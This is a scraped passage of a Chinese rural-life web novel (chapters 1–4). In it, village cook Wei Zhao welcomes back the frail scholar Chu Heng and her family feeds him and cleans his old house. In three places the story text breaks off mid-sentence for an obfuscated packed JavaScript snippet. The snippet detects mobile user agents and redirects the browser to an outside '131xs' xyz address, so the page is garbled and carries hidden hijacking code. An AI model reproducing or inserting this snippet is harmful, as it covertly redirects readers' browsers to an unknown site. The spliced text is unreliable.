《古代农家种田养生日常》 1. 故人归来 天初暖,日初长。 东风解冻,送春山苍苍,春水漾漾。 卫昭背着竹篓,哼着小曲儿,脚步轻快地下山。 前面的三斤一会儿去左边草丛扒拉扒拉,一会儿又去右边树根前刨上几爪,随后又一溜烟儿跑了个没影。 卫昭也不着急,继续着她的节奏下山,果然,没一会儿,就见她家的大田犬又蹿了回来,围着她转了两圈,又继续往前跑,来来回回,乐此不疲。 卫昭看得好笑,不过也不拘着它,毕竟三斤可是今日上山的大功臣。 想到背篓里的两只肥兔子,卫昭终于也忍不住加快了步伐。 今日上山的收获不错,捡了不少的野菜和菌菇,又跟三斤配合默契逮到了两只肥兔子,一会儿再去河边看看放了两天的鱼篓里有没有东西,最好也能网个大的。 想着这些美事儿,卫昭脸上的笑容越来越大,一双水灵灵的杏眸也弯成了两弯月牙儿。 行至山脚,只见一辆马车从她的前方驶过。 卫昭不由得好奇地多打量了几眼。 马车可是个稀罕物,别说他们村子里,就是镇子上也很少见,怎么会出现在他们村尾? 卫昭顺着马车走过的方向往回看,那里好像是…… 思索一番后,卫昭脚下一转,便顺着车辙印子找了过去。 只是顺着山脚稍一拐弯,便能见到荒芜的几处院子。 此处原本才是上溪村的村尾,但这里离山脚太近,雨后难行,有时也会有野物下山,虽然山中并无猛禽,危险性不大,可总被一些不请自来的家伙造访家园,总归有些烦人,加之这里距离庄稼地也有些远,于是周围的几户人家便都慢慢搬走了,在村子里面重新起了房子。 只剩上溪村外姓之一的楚家仍完整地矗立在原地。 楚家人早年间为了家中孩子的学业搬去了县城,听说后来还去了府城,家里的院子便托给了同村关系好的人家照看。 卫昭家就是被委托的这户人家。 卫昭的爹娘与楚家夫妻私交甚笃,只看这院子荒芜十数年,却依旧保存完好,便知卫家人有多上心了。 后来爹娘去世,便是卫昭继承了这个任务。 只是如今,目光扫过楚家洞开的大门,卫昭心里一惊。 她看着悬挂在门上,坠着把钥匙的锁,一时陷入了沉思。 三斤应当也是闻出了陌生人的气息,身子微弓,摆出了戒备的姿势。 卫昭右手食指抵在唇上,比了个安静的手势,原本准备龇牙吼的三斤立刻闭嘴,跟着主人一起蹑手蹑脚,配合十分默契。 卫昭先是数着步子走到墙角扒拉了几下,墙角处有一块可以活动的砖头,楚家的钥匙就藏在那里,这是为了方便时不时来这栋院子里看看,地方很隐蔽,她们家人也会时不时换个地方藏,所以基本上没什么人能发现。 见钥匙还好好地放在这里,卫昭更加疑惑了。 她虽然自诩胆子大,但她更惜命。卫昭转身就往村子里跑,还是去二爷爷家叫个人来一起看吧。 三斤立刻跟上。 而在她们走后不久,敞开的院子里,传出了一阵虚弱的咳喘声。 那咳嗽声先是轻微,而后逐渐加大,怎么也止不住,让人听着便觉得难受。 被卫昭半路从田里揪过来当壮丁的卫吉祥正好赶上了这阵咳嗽的尾音。原本还有些担心的他,现在握着锄头一点都不慌,领着卫昭就推开半掩的大门走了进去。 再怎么保养,这木门的年头也够久了,一动就“吱呀”的叫唤不停。 三斤走在卫昭前方,眼观六路耳听八方,势必要守护好主人的安危。 二人一狗方才站到院子里,就见堂屋门口一个青年正扶倚着门框缓着呼吸。 青年穿着一身看着就不便宜的翠色长衫,身影略有些瘦削,搭着门框的手骨节分明,肤色苍白。 看着就不太健康。 这是看着就气色红润的兄妹俩得出的结论。 而缓过来的青年也注意到了他们的到来,垂着的头抬了起来,打量着他们。 他一抬头,卫昭二人先是一愣,而后对视一眼,纷纷在对方眼中看到了“惊艳”。 无他,这青年是他们在整个镇上见过的最好看的人了。 眉眼深邃,鼻梁高挺,肤色白皙,许是因为先前的咳嗽,致使眼尾染上了一抹红,更添了几分姿色。就是看起来太瘦了些。 而且看久了还让人觉得有几分眼熟。 卫昭瞅着他,总觉得自己好像见过这张脸。 她走神的厉害,卫吉祥喊了她两声没人应,正准备照着她后脑勺来一巴掌的时候,就见卫昭一脸恍然,看着堂屋前的青年一脸惊喜地喊道:“你是楚恒哥,是不是?!” 面前的姑娘身后映着春日的阳光,一双杏眼睁得大大的,还带着亮晶晶的光芒,晃得楚恒不由得移开了视线。 他思索片刻,才从记忆深处找到村子里能和这双亮晶晶的眸子对应上的人。 远山叔家的女儿—— “卫昭昭。” 青年咳过头的嗓音略有些沙哑。 他这一声也是承认了他的身份,幼时那些一起玩儿过的小伙伴们,总是唤她“卫昭昭”。 卫吉祥也想起来了,毕竟当年楚家在村子里还挺出名的。 楚家人竟然回来了?! 他刚要说些什么,就听门外又传来一阵嘈杂,不一会儿,他爹就扶着他爷爷和大奶奶走了进来。 “奶奶。”卫昭见到来人,立刻上前从大堂伯手中把自家奶奶接了过来,自己扶着,而后又依次叫人,声音清脆:“二爷爷,大伯。” 叫完了人,卫昭又扯了扯奶奶的袖子,指了指楚恒,说道:“奶奶,那个是楚恒哥。” 樊桂花拍了拍孙女的手,她会过来,就是侄子说见到村子来了辆马车,直奔这里,从马车上下来了一位青年人,看那人的年纪,大概能对上楚家小子的岁数。 不管是不是,就冲她那倒霉儿子,她也该过来瞅一眼。 她往前走近了两步,细细打量着这个年轻人。 这幅面容,与十多年前那个总是往他家跑的大小伙子逐渐重合,眉眼之间又像极了那个温婉的不似他们农家人的姑娘。 往昔的岁月在脑海中匆匆闪过,最终定格在了面前这个眼神中好似掩藏了无尽孤独的青年的身上。 老人的目光温和而包容,楚恒不由得站直了身子,微微垂首,视线与对方相碰,略显生疏地叫了一声:“花奶奶。” 樊桂花在村中的辈分大,小一辈的人大都叫她桂花婶子、桂花伯娘,叫着叫着,也带的第三代叫起了“花奶奶”。 “欸!”激动地应了一声,樊桂花又爽朗地笑道:“小恒,这么多年不见,你长得越发俊朗了。”就是忒瘦了些。 小时候再瘦,那身上也是有肉的,现在看着就剩下一副骨头架子了。 老太太活得跟个人精似的,只一打量,就看出眼前的孩子这些年过的应该不是很好,怕是经历了不少事情。 多年未见,她别的也不问,就先拉着楚恒给他介绍其他人。 指着卫昭叫二爷爷的憨厚老头子道:“这是你大平爷爷。” 又指了指旁边跟大平爷爷和卫吉祥都长得相似的中年男子说道:“这是你长福伯。” 楚恒一个个地跟着叫过去,虽然不显得热络,但并不失礼。一声声的称呼,让尘封许久的记忆闸门被缓缓拉开。他们或熟悉,或陌生,却都代表了那段他最无忧无虑的时光。 卫吉祥一脸笑嘻嘻地说道:“楚恒,我爹现在是上溪村的村长,你有什么事就来我家找我爹。” 樊桂花点了点他,说:“小恒离开村子十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901508|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年了,咱们村子大变样,哪还能记得你家门朝哪开的!” 二爷爷卫大平跟着点了点头,感慨道:“十多年了,村子里的人家来来去去的,变了不少。不说别的,就这周围的几家都荒废了。” 要不是楚家这建的是村里为数不多的青砖瓦房,又有卫家人时不时来照看着,这房子的屋顶还能不能在都不好说。 哪怕有人照看,这院子里的杂草也在春天又开始冒头了。 樊桂花打量着院子,什么东西都没有,要收拾到能住人且需要费一番功夫,见此,她便问:“小恒,你今天要住回来吗?” 楚恒刚点了下头,樊桂花便大手一挥,爽朗道:“那你先跟花奶奶回家喝点水,吃口饭,咱家人口多,下午来几个人一会儿子就能帮你收拾完,收拾好了再住进来。” 楚恒下意识便想拒绝:“花奶奶,不必了……” 他想客气,樊桂花却不让。要是让她那倒霉儿子知道自己冷落了他那好大哥的儿子,指不定半夜跑自己梦里指责她这个老太太不上心呢。 面对老人家,尤其是曾经对他、对他爹娘都不错的花奶奶,楚恒到底没有拒绝到底,被老人带回了家。 他走时黄发垂髫,归来时已束发戴冠,十余年的时光,这个小小的村落早已在他的记忆中褪色,如今重新走在阡陌小道上,初春的新芽为记忆里黯然的村子绘上了些许绿意。 寒河破冰,老树新芽,却独他枯木不逢春。 心中伤感刚冒出来,就被身边老人温和的介绍声压了下去。 楚恒回过神,轻声应和着。 这么多年过去了,村子里已然多了些变化,当年从村头蔓延至山脚的杂乱屋舍,如今成了沿着三条主街俨然而立的座座小院,还有一些小院零星分布在主街四方。门前的土路夯的实在,走路也少见尘土飞扬。 村子如今有三条主路,北街靠河,南街离着东南方向的雀儿山近,中间那条街连着去往东边庄稼地的大路,西边是村口。 如今正是午间,家家户户升起了炊烟,路上并未遇到什么人。 不多时便走到了卫家的家门口。 卫家的地方好像没有动过,还和曾经一样,如今处在这座小村落北街的中心位置。 北街多数是老房子,卫家本家的老人大多住在这条街上,因为北街的最东头就是村子的祠堂——卫家祠。 卫昭家的主屋坐北朝南,砖石打底,墙是土坯墙,北方的村子大多都是这种三开间的房型:正中的堂屋占地略宽,东西两侧各分出两间稍窄的次间。主屋的屋顶是缓坡,还用了一条长长的用木头和茅草顶支起来了一个抱厦。 灶房挨着西次间,旁边是一株石榴树,正隐隐冒着新芽,枝条繁茂,掩住了半个围墙,想是到了季节,必有一番繁华。 挨着石榴树再走几步,卫家的大门就开在这里,就处在西围墙与南围墙的交界处。 东南角是茅房,茅房和东次间中间的空地,靠着屋子的一部分被垄了起来,地上冒出了不少青苗,周围扎着一圈矮篱笆,应当是留的菜地;剩下的一部分搭了一个牛棚,一头壮年的牛正往外探着头,打量着院子里的外来者,还发出“哞哞”的叫唤声。 南墙处扎了好几个篱笆窝,养了一窝鸡、一窝鸭,还有一大两小三只羊,以及两头猪仔。 抛去这些,中间留下的能活动的院子也就从堂屋正门到厨房这半边了。 空地上是铺的石板,石板看着便像是自己从山上运回来的,年头应当不小了,有的地方都踩磨的光滑了。 甫一打开用木头栅栏做的大门,这间安静的小院猛然间便热闹了起来。 鸡叫、鸭叫、羊咩、猪哼、牛哞声,此起彼伏,楚恒就在这各种牲畜的声音中被拉到了抱厦,打眼一瞅,厦子底下还养了一窝小不点的灰毛兔子。 真是好一派热闹的农家景象。 2. 卫家待客 堂屋里,八仙桌搬到门口放着,农家窗户小,就属这里最亮堂。 楚恒被花奶奶按着坐下。 灶房里一阵洗洗刷刷,不多时,就见卫昭端着一堆茶碗,提着一个茶壶走了进来,挨个给人倒水。 递给楚恒时她说道:“楚恒哥,今年的新茶还没下来,这是去年的陈茶。我听你一直有点咳嗽,里面加了几片之前晒干的梨片,你试试喝不喝得惯。” 闻着茶水的淡淡清香,楚恒那因为在楚家打扫房间时吸入灰尘,便开始咳嗽不停的喉咙也舒服了很多,对上卫昭那双大大的杏眼,楚恒不由得点点头:“我喝的惯,多谢。” 卫昭抿唇一笑,又去给其他人倒水。倒完水了,她也没坐下歇着,对樊桂花道:“奶奶,我去河边看看下的篓子里有没有鱼,一会儿给大家多加个菜。” 樊桂花笑眯眯地点头:“好,你路上慢点。” 卫吉祥激动到坐不住,好不容易又能混一顿昭昭做的饭了。 “昭昭,你等我会儿,我也去。吉勇昨儿刚摸了不少田螺,让他收拾好了端过来,你一块给炒了。” 卫吉勇是卫吉祥的亲弟弟,也是卫昭的叔伯堂弟。 卫长福没好气地给了他脑门一巴掌:“就知道使唤你妹妹。” 卫吉祥也不生气,打声招呼就跟着卫昭跑了。 卫昭把背篓里的两只肥兔子找个地方扣好,背起空背篓和卫吉祥一起绕路往河边走。 卫吉祥路过家门口便吆喝起来:“娘,勇子,花奶奶家来客人了,晌午把昨儿摸的田螺收拾好了带过去。” 听到里面有人应声,他俩才继续往前走。 说是河,其实用小溪来形容更恰当。 小溪是从渠上下来的,这么说对也不对,因为他们村里这段是从渠上游的主河道里分流出来的,正好流经雀儿山周围几处村落,他们村子是第一个。他们的村子也因为处在这段上游溪流的位子,所以才被命名为上溪村。 此处水位并不高,最深处也不过才到成人大腿,水浅处能露出河床,步子大的,踩着石头都能到河对岸。只是越往东,地势越低,流速越快,水位也就越深,不过那处已经出了村子的范围了。 河床裸露的浅水区,村子里的几个小孩正挽着裤脚踢踏着水玩,小手时不时伸进河里,摸到东西了便往岸上一丢,岸上早已被扔了不少的田螺和小鱼,手指长的小鱼最多,回家也能加个菜,不能吃的便拿去喂鸡鸭。 村子里的人家沾亲带故的,卫昭和卫吉祥一来,就被叽叽喳喳地喊了一圈的姑和叔,俩人一一应着,又习惯性地嘱咐了一遍大人来此最常说的话:“别往深水沟去,小心被水鬼抓走了。” 小屁孩们挤眉弄眼地私下偷偷学着他们吓唬人的说法,面上却是不敢不听,毕竟水鬼他们没见过,爹娘的鞋底子还是挺常见的。 卫昭的篓子放了两天,伸手一提,掂量着重量,她心里便有数了。 两个篓子网了两条三四斤重的大鱼,一条鲫鱼,一条草鱼,还捉到了一个大个的公鳖,这可真是意外之喜了,剩下的就是一些巴掌大的小鱼,以及一些小河虾和田螺。 卫吉祥啧啧称奇:“昭昭,你这运气可真够好的,这只公鳖送去镇上酒楼可得值不少钱呢。” 卫昭乐呵呵地收东西,表情带着些小得意:“那是,我是谁啊!” 就冲他妹妹这厚脸皮,卫吉祥都得给她竖个大拇指。 他那嫌弃的表情太过明显,卫昭白他一眼,直接把重的那个背篓丢给他:“赶紧干活,不然晌午不给你饭吃了。” 那可不行,为了挣口饭吃,卫吉祥直接认怂。 兄妹俩嘻嘻哈哈的,也不敢耽误时间,来的时候带着刀具,除了甲鱼和田螺,其他的鱼直接开膛破肚,收拾利索了带回家。 进门时遇到了挑着扁担从祠堂那边打水回来的卫吉勇。 祠堂那口井是他们村的老井了,供许多人家吃水用。平日里卫昭只挑一趟,供她和奶奶吃用,洗衣做活什么的都是去河边。今日吃饭的人口多,她原本挑的便不够用了。 进了灶房一看,卫吉勇都给她家水缸灌满了,卫昭“啧”了一声,下意识揉了下肩膀,她再能干也不愿意一口气给缸里挑满了,转个身的功夫就见卫吉勇又跑到一边吭哧吭哧劈起了柴,一点没见累的。 这边的弟弟干着体力活半点儿看不出累,那边堂屋里却时不时传出昔日的邻家哥哥几声虚弱的咳嗽声,这一对比莫名衬得对方有几分“可怜”。 小村厨的使命感一下就上来了。 大伯娘胡娟正摘着菜。 灶台上还放着一堆原本她家没有的菜,显然是胡娟带过来的。 卫昭她们一回来,原本还有些冷清的灶房一下子变得热火朝天起来。 胡娟年纪上了四十,中等的个头和身材,长得不出众,却也浓眉大眼,瞧着便是个爽朗的性子。而她也确实如此。 “昭昭你说要做啥菜,大娘给你打下手。” 卫昭也不推辞,以前家里来客人都是这么个流程,你家帮我我家帮你的。 “大娘,您先给我把菜洗了吧,我去活点儿面,再把腊肉洗洗。” 上溪村属于北方,主要的庄稼就是麦子,一年四季都缺不了面食,就是农家的面比起富人家吃的要糙不少,农家的面都是自家打的,只求实惠,不求买卖,看起来要黑一些。 卫昭活好面就直接放到一边去醒着,转身又去拿腊肉。熏好的腊肉就在灶房挂着,都是过年的时候弄得。 卫昭给取了下来,又喊卫吉祥:“吉祥哥,这边罩了俩兔子,你挑个大的宰了,皮给我留好了。” 卫吉祥应了一声,便开始磨刀霍霍向跳猫子。 许是感觉到了自己的结局,两只兔子变得焦躁不安,顶的罩它们的背篓都要歪了,上面压的东西也快掉了。 三斤压低喉咙吼了两声,兔子瞬间安静了。 感受到食物认命般的妥协,三斤满意地拍了拍背篓,还把上面压的东西给扶正了。 卫吉祥稀罕的不行,这三斤真是成精了。 而卫昭那边快速地在院子的火盆里起火,拿着把长铁钳夹着一块有两三斤重的腊肉烧着。 把原本便黑乎乎的腊肉烧的更像是一块碳了,肉香味也伴着火烤的哔啵声传了出来。 烤的差不多了,卫昭又打了盆水,对着腊肉开始洗洗刷刷,把菜刀在磨刀石上刮两下,便开始刮起了腊肉,露出里面泛着油脂的五花肉。 卫吉勇劈完柴就去灶台那点着了火,卫昭把腊肉剁成大块,放进去煮了一会儿,不然直接吃起来会有些咸。 煮熟的腊肉切成片,肥肉部分晶莹剔透,一刀下去,满室飘香,勾的人口水都要下来了。 胡娟洗着在院子的菜地里现割的韭菜,忍不住夸道:“昭昭,你这腊肉熏的可真好。” 这大村厨教出来的小村厨就是比他们普通人会做菜。 卫昭她娘是他们十里八乡有名的村厨,那可真是一个做饭的好手,好多人家有啥红白喜事都要找她去做菜。卫昭她爹也能干的很,夫妻俩专门接席面,可能挣不少。 若不是夫妻二人去的早,卫昭家的日子还不知道过得要有多红火呢! 想着这些,胡娟不由得在心里叹了口气,手下却也不停,把洗好的一把韭菜甩干水,放案板上切好,盛起来供一会儿炒菜用。 灶台安了一大一小两口铁锅,卫昭挑了条大鱼处理好,放上篦子直接上锅蒸,准备做个清蒸鱼。 另一边的兔子也收拾好了,卫昭切了不少的葱姜蒜,配上她自己做的黄豆酱爆炒,再撒上一把花椒提味,炖煮够时辰,一道香辣咸鲜的爆炒兔肉便能出锅了。 三斤蹲在角落里猛摇尾巴,嘴角的哈喇子也快兜不住了。 卫昭看的好笑,丢给它一块骨头让它去一边啃。 毕竟是大功臣,可不能怠慢了。 剩下的菜也足够丰盛,一盘焯了水,用蒜泥和香油凉拌的猪毛菜,这个季节猪毛菜才刚长出来,嫩的很,这一盘子可是卫昭漫山遍野跑了许久才凑出来的,得等过段时间这野菜的数量才会多; 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到肩头被拍了一下,他才猛然回神。 卫吉祥纳闷:“你想什么呢?赶紧坐下吃饭。” 他也顺着楚恒的视线看向了卫昭,了然道:“昭昭在忙着煮东西,你先坐,我和勇子去端。” 说完,直接硬推着楚恒坐下,他则喊着卫吉勇去干活。 没多久,三人便端着碗走了出来,楚恒面前被放了一碗热气腾腾的葱花手擀面,浓浓的面香勾动着他的味蕾。 樊桂花笑眯眯地讲道:“出门饺子回家面,这是咱们这儿的老习俗了。小恒今天回乡,咱就吃面条。” 楚恒心中划过一丝暖流。 面条的粗细和筷子差不多,入口劲道,不同于他这些年在外吃的那些精致的臊子面,这碗只有葱花点缀的炝锅面,简单,却又带着满满的回忆,好像他记忆中的味道。 在长辈的客套下,他夹了一块兔肉,甫一入口,兔肉的鲜香和花椒的麻辣便霸道地侵入了整个味蕾。 这味道对他来说有些辣,喉咙又开始有些痒了,但他舍不得吐出来,便就着面条吃了满满一大口,胃口瞬间被打开。 卫昭今年应当正值二九年华,却有如此手艺,当真令人惊叹! 农家人没什么食不言寝不语的习惯,满桌尽是客套亲近之语。 卫长福夹了一颗花生米嚼着,略有些可惜道:“要是再来杯酒就好了。” 一旁的胡娟在桌子底下踹了他一脚:“吃东西都堵不住你的嘴。” 还想喝酒?不知道的还以为你当的不是村长,是个地主老爷呢! 多年的经验让卫长福瞬间闭嘴。 卫昭、卫吉祥和卫吉勇三个人十分熟练地对视一眼,低头偷笑。 一抬头,卫昭便对上了对面楚恒的目光,她眨了眨眼,转而又冲他露出了一抹大大的笑容。 楚恒一怔,略有些不自在地转移了目光。 这人以前的性子有这么冷吗? 卫昭陷入了沉思。 不过当年楚家人离开的时候她还小,记得的也不多,能记得楚家有个哥哥,隐约觉得他长得眼熟都已经算是她记性好了。 至于性子……好似记得有一次两家人一起吃饭,这个哥哥给自己编过草兔子。 3. 卫家祠堂 一顿饭宾主尽欢。 吃饱喝足,卫家人一齐出马,一个下午的时间,便将楚家给收拾了出来。 细节处还有许多不完善的地方,有些家具也年久失修,不能用了,只能说是能遮风避雨,勉强住人。 楚恒并不嫌弃,他也只是想有个栖身之所罢了。 院子里就有口井,早年楚家找了块青石板盖着,如今重新掀开,打出来的水很干净,以后吃用也方便些。 卫昭拿了个木桶来,熟练地打好水,又把灶房的水缸滚出来,里里外外洗了个干净,控干后又给转了回去,一趟趟地把水给打满了。 最后,卫昭十分有成就感地拍了拍装满水的大缸,再次表达了自己对于楚家院子里有口井的羡慕。 她做事十分麻利,原本灰扑扑的水缸在她手下焕然一新。 楚恒得空时看到,暗自感叹这姑娘的精力。 晌午张罗了那么一大桌子菜,下午又干了这么多活,却看不到她身上的一丝疲倦,整个人风风火火,与他曾经接触过的所有人都不一样。 看着重新修好的灶台,卫昭又瞅了眼楚恒那双白瘦的手,思索着这人还会不会用他们农家的大锅台。 早年便只知道他读书好,也不知道如今会不会做饭。 看这瘦的跟个麻秆儿似的身子,还时不时咳嗽一声,估计是身子不大好,要是再不会做饭,可怎么能养好。 看她奶奶这般上心的模样,她日后必是要多看顾些。 众人一直忙到落日西垂,染红了半边天。 霞光洒在这个小小的院落里,封闭了许久的宅子终于迎来了它的主人。 一手拎着楚恒送的糕点,卫昭另一只手搀着樊桂花,祖孙二人也回了家。 下午事忙,家里的牲畜早该喂了。 鸡鸭和猪崽儿都是年后专门找人买的,母羊是去年养的,找人配了种,生了两只小羊羔,兔子是从山上偶然逮到的怀孕了的母兔子,可惜受了惊吓,生了崽儿之后没活多久,兔崽子也是卫昭好不容易养大的。牛养了好几年了,是家里的主要劳动力之一。 只这些牲畜,每日要吃的就不少。 而且因为崽子居多,卫昭这段时间早晚都得给他们拌些糟糠,混着打来的草一起喂。 眼见着家里存的麦糠米糠越来越少,而这群崽子光长个头不长肉,卫昭那个心疼啊,每次喂食必来一番骂骂咧咧: “吃吃吃,就知道吃!养你们这么久了也没见多长几斤肉,败家玩意儿!” 牲畜们才不管面前这人唧唧歪歪个啥呢,它们就知道只要这人拎着盆过来,那就是要开饭了。 一个个围着卫昭的裤腿急的直转圈。 磨磨唧唧个啥?还不赶紧给小爷们上饭! 三斤跟着小主人“巡视领地”,听见这话顿时龇牙叫唤。 还小爷呢!一群刚来的也敢在本大王面前逞威风。 过年就把你们都宰了! 一阵鸡飞狗跳。 早春的傍晚还是有些凉的,可卫昭愣是给热出了一身汗。 下午那一阵忙活,祖孙二人早就饿了,懒得做饭,卫昭便把晌午的剩菜剩饭给热了,和樊桂花简单对付了一顿。 说是“对付”,可这菜色也比她们平日里吃的好多了。 而后又趁着天还没黑透,卫昭赶紧烧水,祖孙俩借着最后的光亮洗漱完。 平日里无事家中是不点灯的,今日樊桂花让卫昭把堂屋的蜡烛点了起来。 樊桂花拿着一团麻丝细细捻着,卫昭把蜡烛拿到她旁边,自己也坐下跟着捻。 去年天气好,收的苎麻多些,她们祖孙俩做这些不图出去卖钱,都是粗人,也没那个卖钱的手艺,所以做的比较慢,以至于到现在还积攒了一些没有弄完。 她们这次准备做成蚊帐,早些年做的蚊帐缝缝补补的也不太能用了。如今离夏季还早,所以这活干的并不着急。 樊桂花眯着眼,这昏黄的烛火到底不如晴日亮堂,她年纪一上来,做起来就更慢了。 不过她此番倒也不是为了做活,是想跟孙女交代些话,只是人闲不下来罢了。 “楚家小子如今回来,看那样子,这些年在外面估计身子没养好。” 早几年有去府城的人传回过消息,听说是楚家夫妻带儿子回乡时遭遇山匪,一家子都没能活命。 但也只是道听途说,他们的村子离那里山高路远的,没人敢信。 如今多年之后楚恒归乡,却孤身一人,身影漂泊,或许那传闻也有部分真。 想到这,樊桂花的视线落到低头认真做活的孙女身上,心中又是一番叹息。 自家的孩子又何尝不苦呢! 她细细交代:“当年楚恒他爹楚云啸和他的爷奶避难到咱们村子,在村后面起了房子,但没多久老两口就相继离世了,就剩下楚云啸孤家寡人一个,他有打猎的手艺,置办不下田产,便在咱们村里以打猎为生。 “你爹那个杀千刀的,年纪小的时候天不怕地不怕,有一次瞒着家里自己进了深山,最后是被云啸给背出来的,从那以后,咱们两家开始走动,你爹非认云啸当大哥,咱两家也确实亲厚。 “后来,你楚伯伯捡回来个媳妇,就是楚恒的娘,前尘往事尽忘,却也和云啸一起把家里过得越来越红火。后来楚恒出生,大一些了就很会读书,夫妻俩不想耽误孩子,便举家去了县城,后来又去了府城,咱们两家的联系也越来越少了。” “昭昭啊。” 卫昭闻声抬头,樊桂花面上尽是回忆与感叹,她缓缓说道:“楚家对咱家有救命之恩,你爹那个杀千刀的没了,可咱娘俩还在呢,有些事儿,咱不能忘。” 卫昭重重点头:“奶奶,我记得的,楚恒哥那边,我会时常去看看的。” 楚恒那副病弱的样子看着就不好养活,她指定多费些心,给人养好了。 横竖也不能堕了她小村厨的名声。 交代好了,祖孙俩又絮叨了些闲话,便各自回了房间休息。 樊桂花躺在床上,不时便翻下身子。 孙女因着父母离世耽误了说亲,而今只剩她们祖孙二人,家无男丁,便是有隔房的叔伯堂兄弟帮衬,可她这个老婆子一走,情分便又远了一层,届时谁还能护着她。 更别提有那心思恶毒的,知道了家里的遭遇,张嘴不是她老婆子命硬克夫克子,便是孙女克父克母。 世道如此,徒呼奈何? 幸而朝廷规定女子有家中继承权,加上她那老头子作为家中长子,曾尽心扶持幼弟。昭昭的二爷爷是个记恩的,一家老少没少帮衬自家,如此才让她这个老婆子和一个年幼的孙女立起了一个家。 可那血缘纽带越隔越远,吉祥那小子也快成亲了,人家以后有了自己的家,昭昭能依靠的也有限。 这事儿,樊桂花已经琢磨了许久了,每次一想,心口便像是压了一块大石头。 今日楚家小子突然出现,知道楚家还有人在,她自然是高兴的,可高兴之余,也有几分旁的心思生出来。 当年两家亲如一家,曾如同玩笑般提过两家孩子的亲事,只是后来不了了之。 忆起曾经,樊桂花难免有些意动,可想到下午见的楚家小子带回的东西,有许多是寻常人家用不起的。 单看这些,便知两家如今身份悬殊,樊桂花再次翻了个身,压下了那个念头。 只是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901510|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到楚家小子今日未曾拒绝卫家人的亲近,想必也是记着多年前的情分。 不求多的,只希望他往后能看在两家的情分上,照拂一下昭昭。 昭昭心思纯善,既然知道楚云啸救了她爹,那她必然不会忘恩。 只希望她这一腔赤诚,能换她未来一份安稳。 她老婆子活了这么多年,享过福,也吃过苦,却始终信奉那句老祖宗传下来的话: 积善之家,必有餘庆。 夜色深沉,上溪村彻底陷入了一片静谧之中,直至晨光熹微,一户户家中的鸡鸣之声次序响起,早起的村民也开始了新一天的劳作。 清晨还带着薄薄的雾气,卫昭推开西厢房门,就着晨光,伸了一个大大的懒腰。 活动开筋骨,她便用缸中昨日剩下的水直接洗漱。 如今刚出正月,水中凉意尤甚,却能让人分外清醒。 收拾利落了,她才开了院门。 扛上扁担,挂上桶,卫昭跟刚出了东厢房的樊桂花打了声招呼:“奶奶,我去打水了。” 樊桂花应了一声,转眼看到菜园子里有刚泼上去的水印,忍不住念叨:“都说了让你少碰凉水,现在天还没到热的时候呢!” 女孩子不注意,作下病怎么办? 卫昭身子一僵,下一瞬便加快脚步,赶紧离开。 凉水洗脸有精神,还方便,她就是想图个省事儿,结果每次都得被奶奶念叨一遍。 卫昭忍不住叹了口气。 知道是知道了,不过她觉得自己下次应该还敢。 被自己的想法莫名其妙给逗乐了,卫昭也走到了祠堂附近的那处井边。 祠堂是卫家祠,因为上溪村原本大部分人家都姓卫,外姓人家很多都是后面迁过来的,姓氏不一。 这地方也很好找,因为这祠堂的门前有一棵很大的梧桐树,长了好几十年了,一到夏天,枝繁叶茂的大树好似一把擎天伞,为村里人提供了一个纳凉的好去处。 此时井边已经有人在了,大家都是早起过来打水,好回去做饭。 村子不大,彼此都认识,有跟卫昭一般大的少年,也有长一辈的叔婶伯娘。 翠花婶平日里和胡娟关系好,把卫昭也是当自己晚辈看待的,她拉着卫昭聊天:“昨天那个青年人真的是楚家那位秀才公啊?” 当年楚家出了一个会读书的秀才公,可被上溪村津津乐道了很长一段时间呢! 虽然这楚恒考上秀才公的时候,楚家早就已经离乡多年,但也架不住他们会说起这是他们村里的人,觉得与有荣焉。 这也没什么不可说的,卫昭便点了点头:“是楚家的楚恒哥回来了。” 村里平时也没什么新鲜事,就光那东家长李家短的来回嚼咕,这好不容易来了一个新人物,翠花婶的热情空前高涨,拉着卫昭就问:“昭昭啊,你知不知道他咋回来了?怎么一个人回来的?” 见卫昭摇头,她又问:“按岁数他今年都快二十岁了,他成亲没?有孩子没?” 卫昭继续摇头。 “那他考上举人没?做官了吗?” 卫昭还是摇头。 翠花婶:“……你们昨天不是一起吃饭了吗,你怎么什么都不知道。” 卫昭:“我奶奶没问。” 大家长都不问,她问那么多干嘛,也不合适啊。 翠花婶:“……”要不是知道这孩子的本性,她都能被这女娃给一句话噎死。 周围人见偷听不到什么消息,只能无奈地加快打水的速度,还是赶紧回家做饭吧。 排队的人不多,很快就轮到了卫昭,她也利落地打出两桶水,扛起扁担,稳稳当当地走回了家。 4. 送粮闲话 卫昭到家的时候,樊桂花已经把灶房的火升起来了,一个锅熬点稀饭,馏点干粮,一个锅烧些热水,不光她们祖孙要用,给家里的生灵和食也要用。 祖孙俩的早食也很简单,就是热好的稀饭和馒头配上早前腌制的咸菜,馒头是前几天蒸的,颜色是属于麦子的黄色,热好后口感依旧暄软弹牙。 